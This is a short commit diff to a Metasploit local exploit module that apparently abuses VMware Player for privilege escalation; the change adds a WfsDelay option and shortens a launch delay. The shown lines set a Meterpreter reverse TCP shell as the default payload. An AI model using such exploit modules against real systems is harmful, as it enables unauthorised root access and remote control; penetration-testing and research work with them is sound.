Use WfsDelay

MS-2855/keylogger-mettle-extension
Brendan Coles 2017-06-20 08:56:33 +00:00
parent 4f6eab102f
commit 668aa4edaf
1 changed files with 2 additions and 1 deletions

View File

@ -46,6 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultOptions' => 'DefaultOptions' =>
{ {
'Payload' => 'linux/x64/meterpreter_reverse_tcp', 'Payload' => 'linux/x64/meterpreter_reverse_tcp',
'WfsDelay' => 15,
'PrependFork' => true 'PrependFork' => true
}, },
'DefaultTarget' => 1, 'DefaultTarget' => 1,
@ -212,7 +213,7 @@ hook_func.pulse_load_if_running {
print_status "Launching VMware Player..." print_status "Launching VMware Player..."
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
Rex.sleep 5 # give vmplayer some time to launch Rex.sleep 0.5
end end
def cleanup def cleanup